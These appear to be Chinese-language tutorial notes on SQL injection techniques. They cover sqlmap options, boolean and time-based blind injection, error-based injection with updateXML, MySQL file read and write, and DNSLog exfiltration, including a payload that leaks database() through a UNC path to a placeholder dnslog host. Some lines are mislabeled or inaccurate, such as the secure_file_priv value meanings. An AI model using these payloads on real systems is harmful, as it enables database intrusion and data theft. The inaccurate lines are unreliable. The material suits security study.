SQL注入-2

包含:

  • SQL注入自动化工具
  • 布尔盲注
  • 基于时间的盲注
  • 基于报错的注入
  • DNSLog注入

SQL注入自动化工具–sqlmap

相关参数和实例演示
另一篇
重要参数和方法

参数 描述
--level payload级别, 越高payload越多
--risk 风险等级
--current-db 获取当前连接库名
--dbs 获取全部库名
--dbms 指定数据库类型, eg: dbms=mysql
-D 指定要查询的库, eg: -D “security”
--tables 查询所有表, eg: -D “security” --tables
-T 指定要查询的表
--col 获取所有列
-C 指定要查询的列, 可多选
--dump 导出为csv
-m 多网址注入, eg: -m “d:/urls.txt”
--batch 无人值守, 使用默认参数

布尔盲注

适用场景:没有数据回显,条件正确有结果,错误没结果。
利用方式:构造判断条件(and),逐个猜测。

  1. 当前数据库名字的长度,是不是1、2、3······
  2. 数据库的第一个字母是不是a、b、c······ (此处的实现可以用二分法来探查)
  3. 直到问出来数据库名
  4. 依此类推,推出表名等等

相关的sql语句:

  1. 截取字符
    • SELECT mid("abcdefg",5,5); 第五位及其后面的一共五位字符。
    • SELECT substr("abcdefg",5,5); 同上。
    • SELECT left("abcdefg",5); 从左边开始截取五位。
    • SELECT right("abcdefg",5); 从右边开始截取五位。
  2. 转成ascii码(便于脚本实现)
    • SELECT ORD('a'); 转换为ascii码。
    • SELECT ASCII('a'); 同上。
  3. 正则匹配
    • SELECT table_name() regexp '^ro'; 转换为ascii码。
    • SELECT table_name() like '^ro%'; 转换为ascii码。

基于时间的盲注

适用场景:没有数据回显,无论条件正确与否结果一样。
利用方式:构造条件(and),添加sleep,逐个猜测。

相关sql语句:

  1. SELECT if((1=2),1,3); 相当于三目运算符 ? :
  2. SELECT sleep(1); 睡眠,单位:秒。
  3. 组合上述两者,可以用时间的区别来进行注入。eg:select if(length(database())=2,0,sleep(1)),是就没反应,否就沉默。

基于报错的注入

适用场景:没有数据回显,无论条件正确与否结果一样,sleep没区别,但是错误信息会打印出来。
利用方式:利用语法错误,把value在前端输出。

相关sql语句:

  1. SELECT extractValue('<a><b></b></a>','/a/b'); 从XML节点中查找结点
  2. 这些是正确的,我们要写错误的,这样才能报出错误
SELECT updateXML('<a><b>ccc</b><d></d></a>','/a','<e>fff</e>') AS val1,
SELECT updateXML('<a><b>ccc</b><d></d></a>','/b','<e>fff</e>') AS val2,
SELECT updateXML('<a><b>ccc</b><d></d></a>','//b','<e>fff</e>') AS val3,
SELECT updateXML('<a><b>ccc</b><d></d></a>','/a/d','<e>fff</e>') AS val4,
SELECT updateXML('<a><d></d><b>ccc</b><d></d></a>','/a/d','<e>fff</e>') AS val5;

TODO

添加报错注入的语句

DNSLog注入

适用场景:没有数据回显,没有SSRF,但是能够发送DNS请求。(Windows系统)
利用方式:通过DNSlog方式将想获得的数据外带出来(oob)。

DNSLog注入流程

MySQL读写函数

读:select LOAD_FILE(‘path’)

有如下限制:

  • 只能访问本机的文件
  • 文件需要有读取权限
  • 字节数小于max_allowed_packet

相关配置文件:在my.ini中有参数secure_file_priv,其配置值为:

配置值 描述
指定文件夹 导入导出只能在指定的文件夹
不设置 不允许执行
null 没有任何限制
修改此参数后需要重启mysql生效

写:select xxx INTO OUTFILE ‘path’

DNSLog注入流程

  1. 把select LOAD_FILE()注入到数据库
  2. UNC构建DNS服务器地址,假装访问文件,产生DNSLog
    select load_file('////aaa.xxx.dnslog.xxx/abc');
  3. 把子域名替换为函数或者查询SQL
    select if ((select load_file(concat('////',database(),'.xxx.dnslog.xxx/abc'))),1,0);